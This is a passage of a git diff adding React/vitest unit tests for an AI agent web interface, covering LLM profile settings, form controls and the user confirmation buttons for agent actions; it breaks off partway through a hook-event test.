+++ b/__tests__/components/settings/llm-profiles/profiles-body.test.tsx
@@ -0,0 +1,131 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { ProfilesBody } from "#/components/features/settings/llm-profiles/profiles-body";
+import { ProfileInfo } from "#/api/profiles-service/profiles-service.api";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        SETTINGS$PROFILES_LOAD_ERROR: "Failed to load profiles",
+        SETTINGS$PROFILES_EMPTY: "No profiles saved yet",
+        SETTINGS$PROFILE_ACTIVE: "Active",
+        SETTINGS$PROFILE_DEFAULT: "Default",
+        SETTINGS$PROFILE_MENU: "Profile menu",
+        SETTINGS$PROFILE_EDIT: "Edit",
+        BUTTON$RENAME: "Rename",
+        SETTINGS$PROFILE_SET_ACTIVE: "Set as active",
+        BUTTON$DELETE: "Delete",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+const mockProfiles: ProfileInfo[] = [
+  {
+    name: "gpt-4-profile",
+    model: "openai/gpt-4",
+    base_url: null,
+    api_key_set: true,
+  },
+  {
+    name: "claude-profile",
+    model: "anthropic/claude-3",
+    base_url: "https://api.anthropic.com",
+    api_key_set: false,
+  },
+];
+
+const defaultProps = {
+  isLoading: false,
+  loadError: null,
+  profiles: mockProfiles,
+  active: "gpt-4-profile",
+  canManage: true,
+  onActivate: vi.fn(),
+  onEdit: vi.fn(),
+  onRename: vi.fn(),
+  onDuplicate: vi.fn(),
+  onDelete: vi.fn(),
+  isActivating: false,
+};
+
+describe("ProfilesBody", () => {
+  it("shows loading spinner when isLoading is true", () => {
+    render(<ProfilesBody {...defaultProps} isLoading profiles={[]} />);
+
+    expect(screen.getByTestId("loading-spinner")).toBeInTheDocument();
+  });
+
+  it("shows error message when loadError is present", () => {
+    render(
+      <ProfilesBody
+        {...defaultProps}
+        loadError={new Error("Network error")}
+        profiles={[]}
+      />,
+    );
+
+    expect(screen.getByText("Failed to load profiles")).toBeInTheDocument();
+  });
+
+  it("shows empty state when profiles array is empty", () => {
+    render(<ProfilesBody {...defaultProps} profiles={[]} />);
+
+    expect(screen.getByText("No profiles saved yet")).toBeInTheDocument();
+  });
+
+  it("renders a list of profiles", () => {
+    render(<ProfilesBody {...defaultProps} />);
+
+    expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+    expect(screen.getByText("openai/gpt-4")).toBeInTheDocument();
+    expect(screen.getByText("claude-profile")).toBeInTheDocument();
+    expect(screen.getByText("anthropic/claude-3")).toBeInTheDocument();
+  });
+
+  it("renders profile rows for each profile", () => {
+    render(<ProfilesBody {...defaultProps} />);
+
+    const rows = screen.getAllByTestId("profile-row");
+    expect(rows).toHaveLength(2);
+  });
+
+  it("shows Active badge for the active profile", () => {
+    render(<ProfilesBody {...defaultProps} active="gpt-4-profile" />);
+
+    // Only the active profile should have the badge
+    const badges = screen.getAllByTestId("profile-active-badge");
+    expect(badges).toHaveLength(1);
+  });
+
+  it("loading state takes priority over error", () => {
+    render(
+      <ProfilesBody
+        {...defaultProps}
+        isLoading
+        loadError={new Error("Error")}
+        profiles={[]}
+      />,
+    );
+
+    expect(screen.getByTestId("loading-spinner")).toBeInTheDocument();
+    expect(
+      screen.queryByText("Failed to load profiles"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("error state takes priority over empty state", () => {
+    render(
+      <ProfilesBody
+        {...defaultProps}
+        loadError={new Error("Error")}
+        profiles={[]}
+      />,
+    );
+
+    expect(screen.getByText("Failed to load profiles")).toBeInTheDocument();
+    expect(screen.queryByText("No profiles saved yet")).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/rename-profile-modal.test.tsx b/__tests__/components/settings/llm-profiles/rename-profile-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5985b91876a58dea7060cdb5e486053a8ccd7391
--- /dev/null
+++ b/__tests__/components/settings/llm-profiles/rename-profile-modal.test.tsx
@@ -0,0 +1,277 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { RenameProfileModal } from "#/components/features/settings/llm-profiles/rename-profile-modal";
+import { ProfileInfo } from "#/api/profiles-service/profiles-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, params?: Record<string, string>) => {
+      const translations: Record<string, string> = {
+        "SETTINGS$PROFILE_RENAME_TITLE": "Rename Profile",
+        "SETTINGS$PROFILE_NAME_LABEL": "Profile Name",
+        "SETTINGS$PROFILE_NAME_PLACEHOLDER": "Enter profile name",
+        "SETTINGS$PROFILE_NAME_RULE":
+          "1-64 chars, start with alphanumeric, then alphanumerics or . _ -",
+        "SETTINGS$PROFILE_RENAMED": params?.name
+          ? `Profile renamed to ${params.name}`
+          : "Profile renamed",
+        "BUTTON$RENAME": "Rename",
+        "BUTTON$CANCEL": "Cancel",
+        "ERROR$GENERIC": "An error occurred",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api");
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+}));
+
+const mockProfile: ProfileInfo = {
+  name: "old-profile-name",
+  model: "openai/gpt-4",
+  base_url: null,
+  api_key_set: true,
+};
+
+describe("RenameProfileModal", () => {
+  let queryClient: QueryClient;
+
+  const renderModal = (profile: ProfileInfo | null, onClose = vi.fn()) => {
+    return render(
+      <QueryClientProvider client={queryClient}>
+        <RenameProfileModal profile={profile} onClose={onClose} />
+      </QueryClientProvider>,
+    );
+  };
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("returns null when profile is null", () => {
+    const { container } = renderModal(null);
+    expect(container.firstChild).toBeNull();
+  });
+
+  it("renders the modal when profile is provided", () => {
+    renderModal(mockProfile);
+    expect(screen.getByTestId("rename-profile-modal")).toBeInTheDocument();
+  });
+
+  it("pre-fills the input with the current profile name", () => {
+    renderModal(mockProfile);
+    expect(screen.getByTestId("rename-profile-input")).toHaveValue(
+      "old-profile-name",
+    );
+  });
+
+  it("shows Rename and Cancel buttons", () => {
+    renderModal(mockProfile);
+    expect(screen.getByTestId("rename-profile-submit")).toHaveTextContent(
+      "Rename",
+    );
+    expect(screen.getByText("Cancel")).toBeInTheDocument();
+  });
+
+  it("places Cancel before Rename in the footer so the dominant action is the last focusable button", () => {
+    // Arrange: render the modal so both footer buttons are mounted.
+    renderModal(mockProfile);
+
+    // Act: locate both footer buttons.
+    const cancel = screen.getByText("Cancel");
+    const submit = screen.getByTestId("rename-profile-submit");
+
+    // Assert: Cancel precedes the dominant Rename action in DOM order.
+    // eslint-disable-next-line no-bitwise
+    expect(
+      cancel.compareDocumentPosition(submit) &
+        Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+
+  it("calls onClose when Cancel is clicked", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+    renderModal(mockProfile, handleClose);
+
+    await user.click(screen.getByText("Cancel"));
+
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("calls onClose when name is unchanged and Rename is clicked", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+    renderModal(mockProfile, handleClose);
+
+    // Name is already "old-profile-name", so clicking Rename should just close
+    await user.click(screen.getByTestId("rename-profile-submit"));
+
+    expect(handleClose).toHaveBeenCalledTimes(1);
+    expect(ProfilesService.renameProfile).not.toHaveBeenCalled();
+  });
+
+  it("calls renameProfile and closes on successful rename", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+    vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+      name: "new-profile-name",
+      message: "Profile renamed",
+    });
+
+    renderModal(mockProfile, handleClose);
+
+    const input = screen.getByTestId("rename-profile-input");
+    await user.clear(input);
+    await user.type(input, "new-profile-name");
+    await user.click(screen.getByTestId("rename-profile-submit"));
+
+    await waitFor(() => {
+      expect(ProfilesService.renameProfile).toHaveBeenCalledWith(
+        "old-profile-name",
+        "new-profile-name",
+      );
+    });
+
+    await waitFor(() => {
+      expect(handleClose).toHaveBeenCalled();
+    });
+  });
+
+  it("disables submit button when name is invalid", async () => {
+    const user = userEvent.setup();
+    renderModal(mockProfile);
+
+    const input = screen.getByTestId("rename-profile-input");
+    await user.clear(input);
+    await user.type(input, ".invalid-name");
+
+    const submitButton = screen.getByTestId("rename-profile-submit");
+    expect(submitButton).toBeDisabled();
+  });
+
+  it("marks the input as invalid for names violating the format rule", async () => {
+    const user = userEvent.setup();
+    renderModal(mockProfile);
+
+    const input = screen.getByTestId("rename-profile-input");
+    await user.clear(input);
+    await user.type(input, ".invalid-name");
+
+    expect(input).toHaveAttribute("aria-invalid", "true");
+  });
+
+  it("updates input value when a different profile is passed", () => {
+    const { rerender } = render(
+      <QueryClientProvider client={queryClient}>
+        <RenameProfileModal profile={mockProfile} onClose={vi.fn()} />
+      </QueryClientProvider>,
+    );
+
+    expect(screen.getByTestId("rename-profile-input")).toHaveValue(
+      "old-profile-name",
+    );
+
+    const newProfile: ProfileInfo = {
+      ...mockProfile,
+      name: "different-profile",
+    };
+
+    rerender(
+      <QueryClientProvider client={queryClient}>
+        <RenameProfileModal profile={newProfile} onClose={vi.fn()} />
+      </QueryClientProvider>,
+    );
+
+    expect(screen.getByTestId("rename-profile-input")).toHaveValue(
+      "different-profile",
+    );
+  });
+
+  it("shows error toast and keeps modal open on rename failure", async () => {
+    const user = userEvent.setup();
+    const { displayErrorToast } = await import(
+      "#/utils/custom-toast-handlers"
+    );
+    vi.mocked(ProfilesService.renameProfile).mockRejectedValue(
+      new Error("Name already exists"),
+    );
+
+    const onClose = vi.fn();
+    renderModal(mockProfile, onClose);
+
+    const input = screen.getByTestId("rename-profile-input");
+    await user.clear(input);
+    await user.type(input, "duplicate-name");
+    await user.click(screen.getByTestId("rename-profile-submit"));
+
+    await waitFor(() => {
+      expect(displayErrorToast).toHaveBeenCalledWith("Name already exists");
+    });
+
+    // Modal should stay open after error (onClose not called)
+    expect(onClose).not.toHaveBeenCalled();
+    expect(screen.getByTestId("rename-profile-modal")).toBeInTheDocument();
+  });
+
+  it("submits form when Enter key is pressed with valid name", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+    vi.mocked(ProfilesService.renameProfile).mockResolvedValue({
+      name: "new-name",
+      message: "Profile renamed",
+    });
+
+    renderModal(mockProfile, handleClose);
+
+    const input = screen.getByTestId("rename-profile-input");
+    await user.clear(input);
+    await user.type(input, "new-name{Enter}");
+
+    await waitFor(() => {
+      expect(ProfilesService.renameProfile).toHaveBeenCalledWith(
+        "old-profile-name",
+        "new-name",
+      );
+    });
+
+    await waitFor(() => {
+      expect(handleClose).toHaveBeenCalled();
+    });
+  });
+
+  it("does not submit form when Enter key is pressed with invalid name", async () => {
+    const user = userEvent.setup();
+    const handleClose = vi.fn();
+
+    renderModal(mockProfile, handleClose);
+
+    const input = screen.getByTestId("rename-profile-input");
+    await user.clear(input);
+    await user.type(input, ".invalid{Enter}");
+
+    // Should not call rename or close
+    expect(ProfilesService.renameProfile).not.toHaveBeenCalled();
+    expect(handleClose).not.toHaveBeenCalled();
+    expect(screen.getByTestId("rename-profile-modal")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/settings/settings-input.test.tsx b/__tests__/components/settings/settings-input.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c2c6f650679ddc063d024105bf8a0a8c7d2d6b07
--- /dev/null
+++ b/__tests__/components/settings/settings-input.test.tsx
@@ -0,0 +1,109 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { SettingsInput } from "#/components/features/settings/settings-input";
+
+describe("SettingsInput", () => {
+  it("should render an optional tag if showOptionalTag is true", async () => {
+    const { rerender } = render(
+      <SettingsInput testId="test-input" label="Test Input" type="text" />,
+    );
+
+    expect(screen.queryByText(/optional/i)).not.toBeInTheDocument();
+
+    rerender(
+      <SettingsInput
+        testId="test-input"
+        showOptionalTag
+        label="Test Input"
+        type="text"
+      />,
+    );
+
+    expect(screen.getByText(/optional/i)).toBeInTheDocument();
+  });
+
+  it("should disable the input if isDisabled is true", async () => {
+    const { rerender } = render(
+      <SettingsInput testId="test-input" label="Test Input" type="text" />,
+    );
+
+    expect(screen.getByTestId("test-input")).toBeEnabled();
+
+    rerender(
+      <SettingsInput
+        testId="test-input"
+        label="Test Input"
+        type="text"
+        isDisabled
+      />,
+    );
+
+    expect(screen.getByTestId("test-input")).toBeDisabled();
+  });
+
+  it("should set a placeholder on the input", async () => {
+    render(
+      <SettingsInput
+        testId="test-input"
+        label="Test Input"
+        type="text"
+        placeholder="Test Placeholder"
+      />,
+    );
+
+    expect(screen.getByTestId("test-input")).toHaveAttribute(
+      "placeholder",
+      "Test Placeholder",
+    );
+  });
+
+  it("should set a default value on the input", async () => {
+    render(
+      <SettingsInput
+        testId="test-input"
+        label="Test Input"
+        type="text"
+        defaultValue="Test Value"
+      />,
+    );
+
+    expect(screen.getByTestId("test-input")).toHaveValue("Test Value");
+  });
+
+  it("should render start content", async () => {
+    const startContent = <div>Start Content</div>;
+
+    render(
+      <SettingsInput
+        testId="test-input"
+        label="Test Input"
+        type="text"
+        defaultValue="Test Value"
+        startContent={startContent}
+      />,
+    );
+
+    expect(screen.getByText("Start Content")).toBeInTheDocument();
+  });
+
+  it("should call onChange with the input value", async () => {
+    const onChangeMock = vi.fn();
+    const user = userEvent.setup();
+
+    render(
+      <SettingsInput
+        testId="test-input"
+        label="Test Input"
+        type="text"
+        onChange={onChangeMock}
+      />,
+    );
+
+    const input = screen.getByTestId("test-input");
+    await user.type(input, "Test");
+
+    expect(onChangeMock).toHaveBeenCalledTimes(4);
+    expect(onChangeMock).toHaveBeenNthCalledWith(4, "Test");
+  });
+});
diff --git a/__tests__/components/settings/settings-switch.test.tsx b/__tests__/components/settings/settings-switch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..054bbc932823d2b65a0c48eb5f4b833e0987e80f
--- /dev/null
+++ b/__tests__/components/settings/settings-switch.test.tsx
@@ -0,0 +1,64 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { SettingsSwitch } from "#/components/features/settings/settings-switch";
+
+describe("SettingsSwitch", () => {
+  it("should call the onChange handler when the input is clicked", async () => {
+    const user = userEvent.setup();
+    const onToggleMock = vi.fn();
+    render(
+      <SettingsSwitch testId="test-switch" onToggle={onToggleMock}>
+        Test Switch
+      </SettingsSwitch>,
+    );
+
+    const switchInput = screen.getByTestId("test-switch");
+
+    await user.click(switchInput);
+    expect(onToggleMock).toHaveBeenCalledWith(true);
+
+    await user.click(switchInput);
+    expect(onToggleMock).toHaveBeenCalledWith(false);
+  });
+
+  it("should render a beta tag if isBeta is true", () => {
+    const { rerender } = render(
+      <SettingsSwitch testId="test-switch" onToggle={vi.fn()} isBeta={false}>
+        Test Switch
+      </SettingsSwitch>,
+    );
+
+    expect(screen.queryByText(/beta/i)).not.toBeInTheDocument();
+
+    rerender(
+      <SettingsSwitch testId="test-switch" onToggle={vi.fn()} isBeta>
+        Test Switch
+      </SettingsSwitch>,
+    );
+
+    expect(screen.getByText(/beta/i)).toBeInTheDocument();
+  });
+
+  it("should be able to set a default toggle state", async () => {
+    const user = userEvent.setup();
+    const onToggleMock = vi.fn();
+    render(
+      <SettingsSwitch
+        testId="test-switch"
+        onToggle={onToggleMock}
+        defaultIsToggled
+      >
+        Test Switch
+      </SettingsSwitch>,
+    );
+
+    expect(screen.getByTestId("test-switch")).toBeChecked();
+
+    const switchInput = screen.getByTestId("test-switch");
+    await user.click(switchInput);
+    expect(onToggleMock).toHaveBeenCalledWith(false);
+
+    expect(screen.getByTestId("test-switch")).not.toBeChecked();
+  });
+});
diff --git a/__tests__/components/shared/brand-button.test.tsx b/__tests__/components/shared/brand-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ee8eb5d456a5d2106985ebea8240657d968475d5
--- /dev/null
+++ b/__tests__/components/shared/brand-button.test.tsx
@@ -0,0 +1,55 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import { BrandButton } from "#/components/features/settings/brand-button";
+
+describe("BrandButton", () => {
+  const onClickMock = vi.fn();
+
+  it("should set a test id", () => {
+    render(
+      <BrandButton testId="brand-button" type="button" variant="primary">
+        Test Button
+      </BrandButton>,
+    );
+
+    expect(screen.getByTestId("brand-button")).toBeInTheDocument();
+  });
+
+  it("should call onClick when clicked", async () => {
+    const user = userEvent.setup();
+    render(
+      <BrandButton type="button" variant="primary" onClick={onClickMock}>
+        Test Button
+      </BrandButton>,
+    );
+
+    await user.click(screen.getByText("Test Button"));
+  });
+
+  it("should be disabled if isDisabled is true", () => {
+    render(
+      <BrandButton type="button" variant="primary" isDisabled>
+        Test Button
+      </BrandButton>,
+    );
+
+    expect(screen.getByText("Test Button")).toBeDisabled();
+  });
+
+  it("should pass a start content", () => {
+    render(
+      <BrandButton
+        type="button"
+        variant="primary"
+        startContent={
+          <div data-testid="custom-start-content">Start Content</div>
+        }
+      >
+        Test Button
+      </BrandButton>,
+    );
+
+    screen.getByTestId("custom-start-content");
+  });
+});
diff --git a/__tests__/components/shared/buttons/back-nav-button.test.tsx b/__tests__/components/shared/buttons/back-nav-button.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d260979d1eb447d0495cf009cf41c3a7b7875cb2
--- /dev/null
+++ b/__tests__/components/shared/buttons/back-nav-button.test.tsx
@@ -0,0 +1,18 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { BackNavButton } from "#/components/shared/buttons/back-nav-button";
+
+describe("BackNavButton", () => {
+  it("renders a back button that fires onClick when clicked", () => {
+    const onClick = vi.fn();
+    render(
+      <BackNavButton onClick={onClick} testId="back-button">
+        <span />
+      </BackNavButton>,
+    );
+
+    fireEvent.click(screen.getByTestId("back-button"));
+
+    expect(onClick).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/shared/buttons/conversation-confirmation-buttons.test.tsx b/__tests__/components/shared/buttons/conversation-confirmation-buttons.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6dd63a65bbf72d3d93648024c76093859e228a2b
--- /dev/null
+++ b/__tests__/components/shared/buttons/conversation-confirmation-buttons.test.tsx
@@ -0,0 +1,315 @@
+import { fireEvent, render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import type { ReactNode } from "react";
+import { ConversationConfirmationButtons } from "#/components/shared/buttons/conversation-confirmation-buttons";
+import { AgentState } from "#/types/agent-state";
+import { SecurityRisk } from "#/types/agent-server/core/base/common";
+
+const {
+  eventMessageState,
+  eventState,
+  activeConversationState,
+  agentState,
+  addSubmittedEventIdMock,
+  respondToConfirmationMock,
+} = vi.hoisted(() => ({
+  eventMessageState: { submittedEventIds: [] as Array<string | number> },
+  eventState: { events: [] as object[] },
+  activeConversationState: {
+    data: undefined as Record<string, unknown> | undefined,
+  },
+  agentState: { curAgentState: "running" },
+  addSubmittedEventIdMock: vi.fn(),
+  respondToConfirmationMock: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace: string) => ({
+    t: (key: string) =>
+      namespace === "openhands" ? key : `wrong-namespace:${key}`,
+  }),
+}));
+
+vi.mock("#/components/shared/action-tooltip", () => ({
+  ActionTooltip: ({
+    type,
+    onClick,
+  }: {
+    type: "confirm" | "reject";
+    onClick: () => void;
+  }) => (
+    <button data-testid={`action-${type}-button`} onClick={onClick}>
+      {type}
+    </button>
+  ),
+}));
+
+vi.mock("#/components/shared/risk-alert", () => ({
+  RiskAlert: ({ content, title }: { content: ReactNode; title: string }) => (
+    <div data-testid="risk-alert">
+      {title}: {content}
+    </div>
+  ),
+}));
+
+vi.mock("#/stores/event-message-store", () => ({
+  useEventMessageStore: (
+    selector: (state: {
+      submittedEventIds: Array<string | number>;
+      addSubmittedEventId: typeof addSubmittedEventIdMock;
+    }) => unknown,
+  ) =>
+    selector({
+      ...eventMessageState,
+      addSubmittedEventId: addSubmittedEventIdMock,
+    }),
+}));
+
+vi.mock("#/stores/use-event-store", () => ({
+  useEventStore: (selector: (state: { events: object[] }) => unknown) =>
+    selector(eventState),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => activeConversationState,
+}));
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: () => agentState,
+}));
+
+vi.mock("#/hooks/mutation/use-respond-to-confirmation", () => ({
+  useRespondToConfirmation: () => ({ mutate: respondToConfirmationMock }),
+}));
+
+const actionEvent = (
+  id: string,
+  securityRisk: SecurityRisk = SecurityRisk.LOW,
+) => ({
+  id,
+  timestamp: "2026-07-12T00:00:00.000Z",
+  source: "agent",
+  tool_name: "terminal",
+  tool_call_id: `tool-${id}`,
+  security_risk: securityRisk,
+  action: { kind: "ExecuteBashAction", command: "pwd" },
+});
+
+const userEvent = (id: string) => ({
+  id,
+  timestamp: "2026-07-12T00:00:01.000Z",
+  source: "user",
+});
+
+const setupState = () => {
+  vi.clearAllMocks();
+  eventMessageState.submittedEventIds = [];
+  eventState.events = [];
+  activeConversationState.data = {
+    id: "conv-1",
+    conversation_url: "https://runtime.example.com",
+    session_api_key: "session-key",
+  };
+  agentState.curAgentState = AgentState.AWAITING_USER_CONFIRMATION;
+};
+
+describe("conversation confirmation controls", () => {
+  it("stays hidden when the agent is not awaiting confirmation", () => {
+    setupState();
+    eventState.events = [actionEvent("action-1")];
+    agentState.curAgentState = AgentState.RUNNING;
+    const addEventListener = vi.spyOn(document, "addEventListener");
+
+    render(<ConversationConfirmationButtons />);
+    document.dispatchEvent(
+      new KeyboardEvent("keydown", { key: "Enter", metaKey: true }),
+    );
+
+    expect(
+      screen.queryByTestId("action-confirm-button"),
+    ).not.toBeInTheDocument();
+    expect(
+      addEventListener.mock.calls.filter(
+        ([eventName]) => eventName === "keydown",
+      ),
+    ).toHaveLength(0);
+    expect(respondToConfirmationMock).not.toHaveBeenCalled();
+  });
+
+  it("stays hidden when no agent event is available", () => {
+    setupState();
+    eventState.events = [userEvent("user-1")];
+
+    render(<ConversationConfirmationButtons />);
+
+    expect(
+      screen.queryByTestId("action-confirm-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("stays hidden after the awaiting event has already been submitted", () => {
+    setupState();
+    eventState.events = [actionEvent("action-1")];
+    eventMessageState.submittedEventIds = ["action-1"];
+
+    render(<ConversationConfirmationButtons />);
+
+    expect(
+      screen.queryByTestId("action-confirm-button"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("uses the latest agent event and submits rejection", () => {
+    setupState();
+    const olderAction = actionEvent("older-action");
+    const latestAction = actionEvent("latest-action");
+    eventState.events = [olderAction, latestAction];
+
+    render(<ConversationConfirmationButtons />);
+    expect(eventState.events).toEqual([olderAction, latestAction]);
+    fireEvent.click(screen.getByTestId("action-reject-button"));
+
+    expect(screen.queryByTestId("risk-alert")).not.toBeInTheDocument();
+    expect(addSubmittedEventIdMock).toHaveBeenCalledWith("latest-action");
+    expect(respondToConfirmationMock).toHaveBeenCalledWith({
+      conversationId: "conv-1",
+      conversationUrl: "https://runtime.example.com",
+      sessionApiKey: "session-key",
+      accept: false,
+    });
+  });
+
+  it("shows high-risk context and submits acceptance with a URL fallback", () => {
+    setupState();
+    eventState.events = [actionEvent("risky-action", SecurityRisk.HIGH)];
+    activeConversationState.data = {
+      id: "conv-1",
+      conversation_url: null,
+      session_api_key: null,
+    };
+
+    render(<ConversationConfirmationButtons />);
+
+    expect(screen.getByTestId("risk-alert")).toHaveTextContent(
+      "COMMON$HIGH_RISK: CHAT_INTERFACE$HIGH_RISK_WARNING",
+    );
+    fireEvent.click(screen.getByTestId("action-confirm-button"));
+    expect(addSubmittedEventIdMock).toHaveBeenCalledWith("risky-action");
+    expect(respondToConfirmationMock).toHaveBeenCalledWith({
+      conversationId: "conv-1",
+      conversationUrl: "",
+      sessionApiKey: null,
+      accept: true,
+    });
+  });
+
+  it("renders unknown risk for a non-action agent event without an alert", () => {
+    setupState();
+    eventState.events = [
+      {
+        id: "agent-message",
+        timestamp: "2026-07-12T00:00:00.000Z",
+        source: "agent",
+      },
+    ];
+
+    render(<ConversationConfirmationButtons />);
+
+    expect(screen.getByTestId("action-confirm-button")).toBeInTheDocument();
+    expect(screen.queryByTestId("risk-alert")).not.toBeInTheDocument();
+  });
+
+  it("does not submit without active conversation metadata", () => {
+    setupState();
+    eventState.events = [actionEvent("action-1")];
+    activeConversationState.data = undefined;
+
+    render(<ConversationConfirmationButtons />);
+    fireEvent.click(screen.getByTestId("action-confirm-button"));
+
+    expect(addSubmittedEventIdMock).not.toHaveBeenCalled();
+    expect(respondToConfirmationMock).not.toHaveBeenCalled();
+  });
+
+  it("uses the latest event and conversation metadata after rerender", () => {
+    setupState();
+    eventState.events = [actionEvent("old-action")];
+    const { rerender } = render(<ConversationConfirmationButtons />);
+
+    eventState.events = [actionEvent("latest-action")];
+    activeConversationState.data = {
+      id: "conv-2",
+      conversation_url: "https://latest-runtime.example.com",
+      session_api_key: "latest-session-key",
+    };
+    rerender(<ConversationConfirmationButtons />);
+    document.dispatchEvent(
+      new KeyboardEvent("keydown", {
+        key: "Enter",
+        metaKey: true,
+        cancelable: true,
+      }),
+    );
+
+    expect(addSubmittedEventIdMock).toHaveBeenCalledWith("latest-action");
+    expect(respondToConfirmationMock).toHaveBeenCalledWith({
+      conversationId: "conv-2",
+      conversationUrl: "https://latest-runtime.example.com",
+      sessionApiKey: "latest-session-key",
+      accept: true,
+    });
+  });
+
+  it("supports cancel and continue keyboard shortcuts and ignores near misses", () => {
+    setupState();
+    eventState.events = [actionEvent("action-1")];
+    const { unmount } = render(<ConversationConfirmationButtons />);
+
+    const wrongCancel = new KeyboardEvent("keydown", {
+      key: "Backspace",
+      shiftKey: true,
+      metaKey: false,
+      cancelable: true,
+    });
+    document.dispatchEvent(wrongCancel);
+    const otherKey = new KeyboardEvent("keydown", {
+      key: "Escape",
+      shiftKey: true,
+      metaKey: true,
+      cancelable: true,
+    });
+    document.dispatchEvent(otherKey);
+    const cancel = new KeyboardEvent("keydown", {
+      key: "Backspace",
+      shiftKey: true,
+      metaKey: true,
+      cancelable: true,
+    });
+    document.dispatchEvent(cancel);
+    const continueEvent = new KeyboardEvent("keydown", {
+      key: "Enter",
+      metaKey: true,
+      cancelable: true,
+    });
+    document.dispatchEvent(continueEvent);
+
+    expect(wrongCancel.defaultPrevented).toBe(false);
+    expect(otherKey.defaultPrevented).toBe(false);
+    expect(cancel.defaultPrevented).toBe(true);
+    expect(continueEvent.defaultPrevented).toBe(true);
+    expect(respondToConfirmationMock).toHaveBeenNthCalledWith(
+      1,
+      expect.objectContaining({ accept: false }),
+    );
+    expect(respondToConfirmationMock).toHaveBeenNthCalledWith(
+      2,
+      expect.objectContaining({ accept: true }),
+    );
+
+    unmount();
+    document.dispatchEvent(
+      new KeyboardEvent("keydown", { key: "Enter", metaKey: true }),
+    );
+    expect(respondToConfirmationMock).toHaveBeenCalledTimes(2);
+  });
+});
diff --git a/__tests__/components/shared/hook-execution-event-message.test.tsx b/__tests__/components/shared/hook-execution-event-message.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e15c528f79ceca0edc942be074f19482ab40e933
--- /dev/null
+++ b/__tests__/components/shared/hook-execution-event-message.test.tsx
@@ -0,0 +1,192 @@
+import { render, screen } from "@testing-library/react";
+import type { ReactNode } from "react";
+import { describe, expect, it, vi } from "vitest";
+import { HookExecutionEventMessage } from "#/components/shared/hook-execution-event-message";
+import { I18nKey } from "#/i18n/declaration";
+import type {
+  HookExecutionEvent,
+  OpenHandsEvent,
+} from "#/types/agent-server/core";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace: string) => ({
+    t: (key: string) =>
+      namespace === "openhands" ? key : `wrong-namespace:${key}`,
+  }),
+}));
+
+vi.mock("#/components/features/chat/generic-event-message", () => ({
+  GenericEventMessage: ({
+    title,
+    details,
+    success,
+  }: {
+    title: ReactNode;
+    details: ReactNode;
+    success?: "success" | "error";
+  }) => (
+    <section
+      data-testid="generic-event-message"
+      data-success={success ?? "none"}
+    >
+      <header>{title}</header>
+      <div>{details}</div>
+    </section>
+  ),
+}));
+
+const makeHookEvent = (
+  overrides: Partial<HookExecutionEvent> = {},
+): HookExecutionEvent => ({
+  id: "hook-event-1",
+  timestamp: "2026-07-12T00:00:00.000Z",
+  source: "hook",
+  kind: "HookExecutionEvent",
+  hook_event_type: "PreToolUse",
+  hook_command: "npm test",
+  success: true,
+  blocked: false,
+  exit_code: null,
+  reason: null,
+  tool_name: null,
+  action_id: null,
+  message_id: null,
+  stdout: null,
+  stderr: null,
+  error: null,
+  additional_context: null,
+  hook_input: null,
+  ...overrides,
+});
+
+const renderHookEvent = (overrides: Partial<HookExecutionEvent> = {}) =>
+  render(<HookExecutionEventMessage event={makeHookEvent(overrides)} />);
+
+describe("hook execution event message", () => {
+  it("renders nothing for an event from another event family", () => {
+    const event = {
+      id: "state-event-1",
